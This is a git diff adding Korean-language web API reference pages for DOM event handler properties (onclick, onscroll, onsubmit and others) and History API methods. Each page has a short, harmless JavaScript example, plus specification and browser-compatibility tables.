{{event("timeupdate")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onvolumechange")}}
+
{{event("volumechange")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ontouchcancel")}} {{Non-standard_inline}} {{Experimental_inline}}
+
{{event("touchcancel")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ontouchend")}} {{Non-standard_inline}} {{Experimental_inline}}
+
{{event("touchend")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ontouchmove")}} {{Non-standard_inline}} {{Experimental_inline}}
+
{{event("touchmove")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ontouchstart")}} {{Non-standard_inline}} {{Experimental_inline}}
+
{{event("touchstart")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ontransitioncancel")}}
+
CSS 트랜지션이 취소됐음을 알리는 {{event("transitioncancel")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ontransitionend")}}
+
CSS 트랜지션이 끝났음을 알리는 {{event("transitionend")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onwaiting")}}
+
{{event("waiting")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
+
+ +

메소드

+ +

이 인터페이스는 메서드를 정의하지 않습니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName("Selection API",'', 'Extension to GlobalEventHandlers')}}{{Spec2('Selection API')}}onselectionchange 추가.
{{SpecName('Pointer Lock', '#extensions-to-the-document-interface', 'Extension of Document')}}{{Spec2('Pointer Lock')}}{{domxref("Document")}} 에 onpointerlockchangeonpointerlockerror 추가. GlobalEventHandlers 에 실험적으로 구현되었음.
{{SpecName('HTML WHATWG', '#globaleventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML WHATWG')}}{{SpecName("HTML5.1")}} 최신 스냅샷 이후에 변경 사항 없음.
{{SpecName('HTML5.1', '#globaleventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML5.1')}}{{SpecName("HTML WHATWG")}} 의 스냅샷. {{SpecName("HTML5 W3C")}} 스냅샷 이후에 onsort 가 추가되었음.
{{SpecName("HTML5 W3C", "#globaleventhandlers", "GlobalEventHandlers")}}{{Spec2('HTML5 W3C')}}{{SpecName("HTML WHATWG")}} 의 스냅샷. GlobalEventHandlers 생성(그 전 타겟에 있던 속성들)
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.GlobalEventHandlers")}}

+
+ +

함께 보기

+ + diff --git a/files/ko/web/api/globaleventhandlers/onchange/index.html b/files/ko/web/api/globaleventhandlers/onchange/index.html new file mode 100644 index 0000000000..bbefe1251d --- /dev/null +++ b/files/ko/web/api/globaleventhandlers/onchange/index.html @@ -0,0 +1,73 @@ +--- +title: GlobalEventHandlers.onchange +slug: Web/API/GlobalEventHandlers/onchange +tags: + - API + - GlobalEventHandlers + - HTML DOM + - Property + - Reference +translation_of: Web/API/GlobalEventHandlers/onchange +--- +
+
{{ ApiRef("HTML DOM") }}
+
+ +

onchange 속성은 {{event("change")}} 이벤트의 이벤트 핸들러를 설정하고 반환합니다.

+ +

구문

+ +
target.onchange = functionRef;
+
+ +

functionRefnull 또는 이벤트 핸들러를 지정하는 JavaScript function 함수 중 하나여야 합니다.

+ +

예제

+ +

HTML

+ +
<input type="text" placeholder="Type something here, then click outside of the field." size="50">
+<p id="log"></p>
+ +

JavaScript

+ +
let input = document.querySelector('input');
+let log = document.getElementById('log');
+
+input.onchange = handleChange;
+
+function handleChange(e) {
+  log.textContent = `The field's value is
+      ${e.target.value.length} character(s) long.`;
+}
+ +

결과

+ +

{{EmbedLiveSample("예제")}}

+ +

명세

+ + + + + + + + + + + + + + +
명세상태비고
{{SpecName('HTML WHATWG','webappapis.html#handler-onchange','onchange')}}{{Spec2('HTML WHATWG')}} 
+ +

브라우저 호환성

+ +

{{Compat("api.GlobalEventHandlers.onchange")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/globaleventhandlers/onclick/index.html b/files/ko/web/api/globaleventhandlers/onclick/index.html new file mode 100644 index 0000000000..9b655c0421 --- /dev/null +++ b/files/ko/web/api/globaleventhandlers/onclick/index.html @@ -0,0 +1,89 @@ +--- +title: GlobalEventHandlers.onclick +slug: Web/API/GlobalEventHandlers/onclick +tags: + - API + - Event Handler + - HTML DOM + - Property + - Reference +translation_of: Web/API/GlobalEventHandlers/onclick +--- +
{{apiref("HTML DOM")}}
+ +

{{domxref("GlobalEventHandlers")}} 믹스인mixin의 onclick 속성은 주어진 요소의 {{event("click")}} 이벤트를 처리하기 위한 {{domxref("EventHandler")}}입니다.

+ +

click 이벤트는 사용자가 요소를 클릭할 때 {{event("mousedown")}}과 {{event("mouseup")}} 다음으로 발동합니다.

+ +
참고: click 이벤트에 행동을 붙일 땐, 마우스나 터치 스크린을 사용하지 않는 사용자도 그 행동을 할 수 있도록 {{event("keydown")}}이벤트에도 똑같이 적용하는걸 고려해보세요.
+ +

구문

+ +
target.onclick = functionRef;
+
+ +

+ +

functionRef는 함수 이름이거나 함수 표현식으로, 유일한 매개변수로 {{domxref("MouseEvent")}} 객체를 받습니다. 함수 내에서 {{jsxref("Operators/this", "this")}}는 이벤트가 발동한 요소를 가리킵니다.

+ +

하나의 객체에는 하나의 onclick 처리기만 할당할 수 있습니다. 더 유연한{{domxref("EventTarget.addEventListener()")}} 메서드를 선호하는 편이 좋을 수도 있습니다.

+ +

예제

+ +

다음 예제는 클릭 위치를 기록합니다.

+ +

HTML

+ +
<p>Click anywhere in this example.</p>
+<p id="log"></p>
+ +

JavaScript

+ +
let log = document.getElementById('log');
+
+document.onclick = inputChange;
+
+function inputChange(e) {
+  log.textContent = `Position: (${e.clientX}, ${e.clientY})`;
+}
+ +

결과

+ +

{{EmbedLiveSample("예제")}}

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','webappapis.html#handler-onclick','onclick')}}{{Spec2('HTML WHATWG')}} 
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.GlobalEventHandlers.onclick")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/api/globaleventhandlers/oncontextmenu/index.html b/files/ko/web/api/globaleventhandlers/oncontextmenu/index.html new file mode 100644 index 0000000000..c13513c82e --- /dev/null +++ b/files/ko/web/api/globaleventhandlers/oncontextmenu/index.html @@ -0,0 +1,103 @@ +--- +title: GlobalEventHandlers.oncontextmenu +slug: Web/API/GlobalEventHandlers/oncontextmenu +translation_of: Web/API/GlobalEventHandlers/oncontextmenu +--- +
{{ ApiRef("HTML DOM") }}
+ +

윈도우에서 마우스 오른쪽 클릭시 발생하는 이벤트 이벤트 핸들러 속성 입니다. 기본동작을 막지 않는 한 (아래의 예제를 참조하세요), 브라우저의 컨텍스트 메뉴가 활성화됩니다. (그러나 IE8는 이것과 관련된 버그가 있어 contextmenu 가 정의 되어있다고 할지라도 활성화 되지 않습니다).  이 이벤트는 비활성화되지 않은(non-disabled) 오른쪽 클릭 이벤트와 함께 발생하며   "contextmenu" 속성 을 가진 엘리먼트에는 달리지 않는다는 것을 유의하세요.

+ +

Syntax

+ +
window.oncontextmenu = funcRef;
+//funcRef refers to the function to be called
+ +

Example

+ +

페이지상에서 오른쪽 클릭을 막는 예제들 입니다:

+ +
document.oncontextmenu = function () { // Use document as opposed to window for IE8 compatibility
+   return false;
+};
+
+window.addEventListener('contextmenu', function (e) { // Not compatible with IE < 9
+    e.preventDefault();
+}, false);
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','webappapis.html#handler-oncontextmenu','oncontextmenu')}}{{Spec2('HTML WHATWG')}} 
+ +

Browser Compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/ko/web/api/globaleventhandlers/ondblclick/index.html b/files/ko/web/api/globaleventhandlers/ondblclick/index.html new file mode 100644 index 0000000000..7444c2c81b --- /dev/null +++ b/files/ko/web/api/globaleventhandlers/ondblclick/index.html @@ -0,0 +1,70 @@ +--- +title: GlobalEventHandlers.ondblclick +slug: Web/API/GlobalEventHandlers/ondblclick +tags: + - API + - Event Handler + - HTML DOM + - Property + - Reference +translation_of: Web/API/GlobalEventHandlers/ondblclick +--- +
{{ApiRef("HTML DOM")}}
+ +

ondblclick property는 현재 요소(element)의 onDblClick 이벤트 핸들러 코드를 돌려줍니다.

+ +

구문

+ +
element.ondblclick = function;
+
+ + + +
element.ondblclick = function() { console.log("ondblclick event detected!"); };
+
+ +

예제

+ +

다음 예제는 더블클릭의 위치를 기록합니다.

+ +

HTML

+ +
<p>Double click anywhere in this example.</p>
+<p id="log"></p>
+ +

JavaScript

+ +
let log = document.getElementById('log');
+
+document.ondblclick = logDoubleClick;
+
+function logDoubleClick(e) {
+  log.textContent = `Position: (${e.clientX}, ${e.clientY})`;
+}
+ +

결과

+ +

{{EmbedLiveSample("예제")}}

+ +

명세

+ + + + + + + + + + + + + + +
명세상태비고
{{SpecName('HTML WHATWG','webappapis.html#handler-ondblclick','ondblclick')}}{{Spec2('HTML WHATWG')}}
+ +

브라우저 호환성

+ +
{{Compat("api.GlobalEventHandlers.ondblclick")}}
diff --git a/files/ko/web/api/globaleventhandlers/onkeydown/index.html b/files/ko/web/api/globaleventhandlers/onkeydown/index.html new file mode 100644 index 0000000000..d5f598104a --- /dev/null +++ b/files/ko/web/api/globaleventhandlers/onkeydown/index.html @@ -0,0 +1,60 @@ +--- +title: GlobalEventHandlers.onkeydown +slug: Web/API/GlobalEventHandlers/onkeydown +tags: + - API + - HTML DOM + - NeedsContent + - NeedsExample +translation_of: Web/API/GlobalEventHandlers/onkeydown +--- +
{{ApiRef("HTML DOM")}}
+ +

onkeydown 속성은 현재 요소(element)의 onKeyDown 이벤트 핸들러 코드를 돌려줍니다

+ +
element.onkeydown = event handling code
+ +

Example

+ +

This example logs the {{domxref("KeyboardEvent.code")}} value whenever you press down a key inside the {{HtmlElement("input")}} element.

+ +

HTML

+ +
<input>
+<p id="log"></p>
+ +

JavaScript

+ +
const input = document.querySelector('input');
+const log = document.getElementById('log');
+
+input.onkeydown = logKey;
+
+function logKey(e) {
+  log.textContent += ` ${e.code}`;
+}
+ +

Result

+ +

{{EmbedLiveSample("Example")}}

+ +

명세

+ + + + + + + + + + + + + + +
명세상태비고
{{SpecName('HTML WHATWG','webappapis.html#handler-onkeydown','onkeydown')}}{{Spec2('HTML WHATWG')}} 
+ +

브라우저 호환성

+ +

{{Compat("api.GlobalEventHandlers.onkeydown")}}

diff --git a/files/ko/web/api/globaleventhandlers/onkeyup/index.html b/files/ko/web/api/globaleventhandlers/onkeyup/index.html new file mode 100644 index 0000000000..7ba6e8c6b6 --- /dev/null +++ b/files/ko/web/api/globaleventhandlers/onkeyup/index.html @@ -0,0 +1,27 @@ +--- +title: GlobalEventHandlers.onkeyup +slug: Web/API/GlobalEventHandlers/onkeyup +translation_of: Web/API/GlobalEventHandlers/onkeyup +--- +
{{ApiRef("HTML DOM")}}
+ +

onkeyup 속성은 현재 요소에서 onKeyUp 이벤트 핸들러를 반환합니다.

+ +

문법

+ +
element.onkeyup = event handling code
+
+ +

예제

+ +
 <input type="text" onKeyUp="keyWasPressed(event)">
+ <script>function keyWasPressed(evt){ console.log(evt.keyCode) }</script>
+
+ +

참고

+ +

keyup 이벤트는 사용자가 눌렀던 키를 놓을 때 발생합니다.

+ +

명세서

+ +

명세 내용이 없습니다.

diff --git a/files/ko/web/api/globaleventhandlers/onpointerenter/index.html b/files/ko/web/api/globaleventhandlers/onpointerenter/index.html new file mode 100644 index 0000000000..a9e0087ecc --- /dev/null +++ b/files/ko/web/api/globaleventhandlers/onpointerenter/index.html @@ -0,0 +1,79 @@ +--- +title: GlobalEventHandlers.onpointerenter +slug: Web/API/GlobalEventHandlers/onpointerenter +translation_of: Web/API/GlobalEventHandlers/onpointerenter +--- +
{{ApiRef("HTML DOM")}}
+ +

{{domxref("GlobalEventHandlers")}} mixin의 onpointerenter property는 {{event("pointerenter")}} 이벤트를 처리하는 {{domxref("EventHandler")}} 이다.

+ +

Syntax

+ +
targetElement.onpointerenter = enterHandler;
+
+var enterHandler = targetElement.onpointerenter;
+
+ +

Value

+ +
+
enterHandler
+
The pointerenter event handler for element targetElement.
+
+ +

Example

+ +

아래 예제는 element의 pointerenter 이벤트 핸들러를 설정하는 onpointerenter 의 2가지 사용법을 보여준다.

+ +
<html>
+<script>
+function enterHandler(ev) {
+  // pointerenter event처리
+}
+function init() {
+  let el = document.getElementById('target1');
+  el.onpointerenter = enterHandler;
+}
+</script>
+
+<body onload="init();">
+  <div id="target1"> Touch me ... </div>
+  <div id="target2" onpointerenter="enterHandler(event)"> Touch me ... </div>
+</body>
+</html>
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Pointer Events 2','#dom-globaleventhandlers-onpointerenter', 'onpointerenter')}}{{Spec2('Pointer Events 2')}}Non-stable version
{{SpecName('Pointer Events', '#widl-GlobalEventHandlers-onpointerenter', 'onpointerenter')}}{{Spec2('Pointer Events')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.GlobalEventHandlers.onpointerenter")}}

+ +

See also

+ + diff --git a/files/ko/web/api/globaleventhandlers/onscroll/index.html b/files/ko/web/api/globaleventhandlers/onscroll/index.html new file mode 100644 index 0000000000..1c32b77ee9 --- /dev/null +++ b/files/ko/web/api/globaleventhandlers/onscroll/index.html @@ -0,0 +1,98 @@ +--- +title: GlobalEventHandlers.onscroll +slug: Web/API/GlobalEventHandlers/onscroll +translation_of: Web/API/GlobalEventHandlers/onscroll +--- +
{{ApiRef("HTML DOM")}}
+ +
{{domxref("GlobalEventHandlers")}} 의 onscroll 이벤트는 {{domxref("EventHandler")}} 의 scroll 이벤트를 상속받았습니다.
+ +
+ +
document view 나  element 가 스크롤이 됬을 때 이벤트가  발생합니다.
+ +
+ +
+

Note: onscroll 과 {{domxref("GlobalEventHandlers.onwheel", "onwheel")}} 이벤트를 혼동하지 마세요. onwheel 보통 휠의 회전을 처리하고, onscroll은 객체의 내용의 스크롤을 처리합니다.

+
+ +

Syntax

+ +
target.onscroll = functionRef;
+
+ +

Value

+ +

functionRef 은(는) 함수 표현식 또는 함수 이름 이며, 이 객체는 오직 {{domxref("UIEvent")}} 객체만 인수로 받습니다.

+ +

오직 하나의 onscroll 이벤트만 하나의 객체에 할당 할 수 있습니다.  EventTarget.addEventListener() 를 사용하여  scroll 이벤트를 정의 할 수 있습니다.

+ +

Example

+ +

다음 예제는  {{HtmlElement("textarea")}}에 발생한 스크롤 이벤트 결과를 출력해 줍니다.

+ +

HTML

+ +
<textarea>1 2 3 4 5 6 7 8 9</textarea>
+<p id="log"></p>
+ +

CSS

+ +
textarea {
+  width: 4rem;
+  height: 8rem;
+  font-size: 3rem;
+}
+ +

JavaScript

+ +
const textarea = document.querySelector('textarea');
+const log = document.getElementById('log');
+
+textarea.onscroll = logScroll;
+
+function logScroll(e) {
+  log.textContent = `Scroll position: ${e.target.scrollTop}`;
+}
+ +

Result

+ +

{{EmbedLiveSample("Example", 700, 200)}}

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','#handler-onscroll','onscroll')}}{{Spec2('HTML WHATWG')}}
{{SpecName("DOM3 Events", "#event-type-scroll", "onscroll")}}{{Spec2("DOM3 Events")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.GlobalEventHandlers.onscroll")}}

+ +

See also

+ + diff --git a/files/ko/web/api/globaleventhandlers/onsubmit/index.html b/files/ko/web/api/globaleventhandlers/onsubmit/index.html new file mode 100644 index 0000000000..e8e72ac2e0 --- /dev/null +++ b/files/ko/web/api/globaleventhandlers/onsubmit/index.html @@ -0,0 +1,70 @@ +--- +title: GlobalEventHandlers.onsubmit +slug: Web/API/GlobalEventHandlers/onsubmit +tags: + - API + - HTML DOM + - 레퍼런스 + - 속성 +translation_of: Web/API/GlobalEventHandlers/onsubmit +--- +
{{ApiRef("HTML DOM")}}
+ +

 

+ +

현재 창에서 폼을 제출하는 이벤트를 다루는 이벤트 핸들러

+ +

문법

+ +
window.onsubmit = funcRef;
+
+ +

매개 변수

+ + + +

예제

+ +
<html>
+<script>
+function reg() {
+  window.captureEvents(Event.SUBMIT);
+  window.onsubmit = hit;
+}
+
+function hit() {
+  console.log('hit');
+}
+</script>
+
+<body onload="reg();">
+<form>
+  <input type="submit" value="submit" />
+</form>
+<div id="d"> </div>
+</body>
+</html>
+
+ +

알아두기

+ +

제출 이벤트는 사용자가 폼 내부에 있는 제출 버튼(<input type="submit"/>)을 눌렀을 때 발생한다.

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','webappapis.html#handler-onsubmit','onsubmit')}}{{Spec2('HTML WHATWG')}} 
diff --git a/files/ko/web/api/globaleventhandlers/ontouchstart/index.html b/files/ko/web/api/globaleventhandlers/ontouchstart/index.html new file mode 100644 index 0000000000..0017375993 --- /dev/null +++ b/files/ko/web/api/globaleventhandlers/ontouchstart/index.html @@ -0,0 +1,128 @@ +--- +title: GlobalEventHandlers.ontouchstart +slug: Web/API/GlobalEventHandlers/ontouchstart +translation_of: Web/API/GlobalEventHandlers/ontouchstart +--- +
{{ApiRef("HTML DOM")}}
+ +

{{event("touchstart")}} 이벤트를 위한 {{domxref("GlobalEventHandlers","global event handler")}}

+ +

{{SeeCompatTable}}

+ +
+

Note: 이 요소는 아직 표준화 되지 않은 기술입니다. It is specified in the {{SpecName('Touch Events 2')}} {{Spec2('Touch Events 2')}} 명세에서 작성된 기술이며 {{SpecName('Touch Events')}} {{Spec2('Touch Events')}}에는 포함되어 있지 않습니다. 따라서 아직 대부분의 브라우저에서는 사용되지 않는 요소입니다.

+
+ +

문법

+ +
var startHandler = someElement.ontouchstart;
+
+ +

반환 값

+ +
+
startHandler
+
someElement를 위한 touchstart 이벤트 핸들러
+
+ +

예제

+ +

이 예제는 HTML 요소에 touchstart e이벤트 핸들러를 등록하기 위한 두 방법을 보여주고 있습니다.

+ +
<html>
+<script>
+function startTouch(ev) {
+ // 이벤트 내부
+}
+function init() {
+ var el=document.getElementById("target1");
+ el.ontouchstart = startTouch;
+}
+</script>
+<body onload="init();">
+<div id="target1"> 터치해주세요... </div>
+<div id="target2" ontouchstart="startTouch(event)"> 터치해주세요... </div>
+</body>
+</html>
+
+ +

명세

+ + + + + + + + + + + + + + +
명세현황비고
{{SpecName('Touch Events 2','#widl-GlobalEventHandlers-ontouchstart')}}{{Spec2('Touch Events 2')}}Non-stable version.
+ +

브라우저 호환성

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support     
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support        
+
+ +

 

+ +

더 보기

+ + diff --git a/files/ko/web/api/history/back/index.html b/files/ko/web/api/history/back/index.html new file mode 100644 index 0000000000..2b5ee8475a --- /dev/null +++ b/files/ko/web/api/history/back/index.html @@ -0,0 +1,70 @@ +--- +title: History.back() +slug: Web/API/History/back +tags: + - API + - HTML DOM + - History + - History API + - Method + - Reference + - Web +translation_of: Web/API/History/back +--- +
{{APIRef("DOM")}}
+ +

History.back() 메서드는 브라우저가 세션 기록의 바로 뒤 페이지로 이동하도록 지시합니다. {{domxref("History.go", "history.go(-1)")}}와 같습니다. 이전 페이지가 없는 경우 아무것도 하지 않습니다.

+ +

이 메서드는 비동기적입니다. {{event("popstate")}} 이벤트 처리기를 통해 탐색 완료 시점을 알 수 있습니다.

+ +

구문

+ +
history.back()
+ +

예제

+ +

다음 예제는 클릭했을 때 뒤로 가는 버튼을 생성합니다.

+ +

HTML

+ +
<button id="go-back">뒤로 가기!</button>
+ +

JavaScript

+ +
document.getElementById('go-back').addEventListener('click', () => {
+  window.history.back();
+});
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "history.html#history", "History.back()")}}{{Spec2("HTML WHATWG")}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName("HTML5 W3C", "browsers.html#dom-history-back", "History.back()")}}{{Spec2("HTML5 W3C")}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.History.back")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/history/forward/index.html b/files/ko/web/api/history/forward/index.html new file mode 100644 index 0000000000..52ab61f70b --- /dev/null +++ b/files/ko/web/api/history/forward/index.html @@ -0,0 +1,69 @@ +--- +title: History.forward() +slug: Web/API/History/forward +tags: + - API + - HTML DOM + - History + - History API + - Method + - Reference +translation_of: Web/API/History/forward +--- +
{{APIRef("DOM")}}
+ +

History.forward() 메서드는 브라우저가 세션 기록의 바로 앞 페이지로 이동하도록 지시합니다. {{domxref("History.go", "history.go(1)")}}과 같습니다. 다음 페이지가 없는 경우 아무것도 하지 않습니다.

+ +

이 메서드는 비동기적입니다. {{event("popstate")}} 이벤트 처리기를 통해 탐색 완료 시점을 알 수 있습니다.

+ +

구문

+ +
history.forward()
+ +

예제

+ +

다음 예제는 클릭했을 때 앞으로 가는 버튼을 생성합니다.

+ +

HTML

+ +
<button id='go-forward'>앞으로 가기!</button>
+ +

JavaScript

+ +
document.getElementById('go-forward').addEventListener('click', e => {
+  window.history.forward();
+})
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "browsers.html#history", "History")}}{{Spec2("HTML WHATWG")}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName("HTML5 W3C", "browsers.html#history", "History")}}{{Spec2("HTML5 W3C")}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.History.forward")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/history/go/index.html b/files/ko/web/api/history/go/index.html new file mode 100644 index 0000000000..3f90100ea8 --- /dev/null +++ b/files/ko/web/api/history/go/index.html @@ -0,0 +1,82 @@ +--- +title: History.go() +slug: Web/API/History/go +translation_of: Web/API/History/go +--- +
{{APIRef("History API")}}
+ +

History.go() 메서드는 history 세션에서 특정한 페이지를 로딩합니다. 인자로 전달하는 파라미터 값에 따라 history를 통해서 페이지를 앞 뒤로 이동할 수 있습니다. 

+ +

이 메서드는 {{glossary("asynchronous")}}(비동기)로 동작합니다. 페이지 앞, 뒤 이동이 언제 이뤄지는지 알려면 {{event("popstate")}} event에 대한 listener를 등록합니다.

+ +

구문

+ +
history.go([delta])
+ +

Parameters

+ +
+
delta {{optional_inline}}
+
현재 페이지에서 상대적으로 이동하려고 하는 history의 위치 값. 음수 값은 뒤로 이동하고, 양수 값은 앞으로 이동합니다. 예를 들면 history.go(2) 는 현재 페이지에서 2 페이지 앞으로 이동하고, history.go(-2) 는 현재 페이지에서 2 페이지 뒤로 이동합니다. 만약 값을 전달하지 않거나, delta 값을 0으로 전달한다면, 이는 location.reload()를 동작시켰을 때와 동일한 결과를 보입니다. (새로고침)
+
+ +

예제

+ +

한 페이지 뒤로 가기 ({{domxref("History.back", "back()")}}를 호출한 것과 동일):

+ +
history.go(-1)
+ +

{{domxref("History.forward", "forward()")}}와 동일한 한 페이지 앞으로 가기:

+ +
history.go(1)
+ +

두 페이지 앞으로 가기:

+ +
history.go(2);
+ +

두 페이지 뒤로 가기:

+ +
history.go(-2);
+ +

마지막으로, 아래 구문들은 현재 페이지를 새로고침 합니다:

+ +
history.go();
+history.go(0);
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "history.html#dom-history-go", "History.go()")}}{{Spec2("HTML WHATWG")}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName("HTML5 W3C", "browsers.html#dom-history-go", "History.go()")}}{{Spec2("HTML5 W3C")}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.History.go")}}

+ +

See also

+ + diff --git a/files/ko/web/api/history/index.html b/files/ko/web/api/history/index.html new file mode 100644 index 0000000000..37fabc2c98 --- /dev/null +++ b/files/ko/web/api/history/index.html @@ -0,0 +1,85 @@ +--- +title: History +slug: Web/API/History +tags: + - API + - HTML DOM + - History API + - Interface + - Reference + - Web +translation_of: Web/API/History +--- +
{{APIRef("HTML DOM")}}
+ +

History 인터페이스는 브라우저의 세션 기록, 즉 현재 페이지를 불러온 탭 또는 프레임의 방문 기록을 조작할 수 있는 방법을 제공합니다.

+ +

속성

+ +

History 인터페이스는 어떤 속성도 상속하지 않습니다.

+ +
+
{{domxref("History.length")}} {{readOnlyInline}}
+
현재 페이지를 포함해, 세션 기록의 길이를 나타내는 정수를 반환합니다.
+
{{domxref("History.scrollRestoration")}}
+
기록 탐색 시 스크롤 위치 복원 여부를 명시할 수 있습니다. 가능한 값은 automanual입니다.
+
{{domxref("History.state")}} {{readOnlyInline}}
+
기록 스택 최상단의 스테이트를 나타내는 값을 반환합니다. {{event("popstate")}} 이벤트를 기다리지 않고 현재 기록의 스테이트를 볼 수 있는 방법입니다.
+
+ +

메서드

+ +

History 인터페이스는 어떤 메서드도 상속하지 않습니다.

+ +
+
{{domxref("History.back()")}}
+
세션 기록의 바로 뒤 페이지로 이동하는 비동기 메서드입니다. 브라우저의 뒤로 가기 버튼을 눌렀을 때, 그리고 history.go(-1)을 사용했을 때와 같습니다. +
참고: 세션 기록의 제일 첫 번째 페이지에서 호출해도 오류는 발생하지 않습니다.
+
+
{{domxref("History.forward()")}}
+
세션 기록의 바로 앞 페이지로 이동하는 비동기 메서드입니다. 브라우저의 앞으로 가기 버튼을 눌렀을 때, 그리고 history.go(1)을 사용했을 때와 같습니다. +
참고: 세션 기록의 제일 마지막 페이지에서 호출해도 오류는 발생하지 않습니다.
+
+
{{domxref("History.go()")}}
+
현재 페이지를 기준으로, 상대적인 위치에 존재하는 세션 기록 내 페이지로 이동하는 비동기 메서드입니다. 예를 들어, 매개변수로 -1을 제공하면 바로 뒤로, 1을 제공하면 바로 앞으로 이동합니다. 세션 기록의 범위를 벗어나는 값을 제공하면 아무 일도 일어나지 않습니다. 매개변수를 제공하지 않거나, 0을 제공하면 현재 페이지를 다시 불러옵니다.
+
{{domxref("History.pushState()")}}
+
주어진 데이터를 지정한 제목(제공한 경우 URL도)으로 세션 기록 스택에 넣습니다. 데이터는 DOM이 불투명(opaque)하게 취급하므로, 직렬화 가능한 모든 JavaScript 객체를 사용할 수 있습니다. 참고로, Safari를 제외한 모든 브라우저는 title 매개변수를 무시합니다.
+
{{domxref("History.replaceState()")}}
+
세션 기록 스택의 제일 최근 항목을 주어진 데이터, 지정한 제목 및 URL로 대체합니다. 데이터는 DOM이 불투명(opaque)하게 취급하므로, 직렬화 가능한 모든 JavaScript 객체를 사용할 수 있습니다. 참고로, Safari를 제외한 모든 브라우저는 title 매개변수를 무시합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "browsers.html#the-history-interface", "History")}}{{Spec2('HTML WHATWG')}}Adds the scrollRestoration attribute.
{{SpecName('HTML5 W3C', "browsers.html#the-history-interface", "History")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.History")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/history/length/index.html b/files/ko/web/api/history/length/index.html new file mode 100644 index 0000000000..0e26279b5c --- /dev/null +++ b/files/ko/web/api/history/length/index.html @@ -0,0 +1,50 @@ +--- +title: History.length +slug: Web/API/History/length +tags: + - API + - HTML + - HTML DOM + - History API + - Property + - Read-only + - Reference +translation_of: Web/API/History/length +--- +
{{ APIRef("HTML DOM") }}
+ +

History.length 읽기 전용 속성은 현재 페이지를 포함해, 세션 기록의 길이를 나타내는 정수를 반환합니다. 예를 들어, 새로운 탭에 막 불러온 페이지의 세션 기록 길이는 1입니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "history.html#dom-history-length", "History.length")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "browsers.html#dom-history-length", "History.length")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

브라우저 호환성

+ + + +

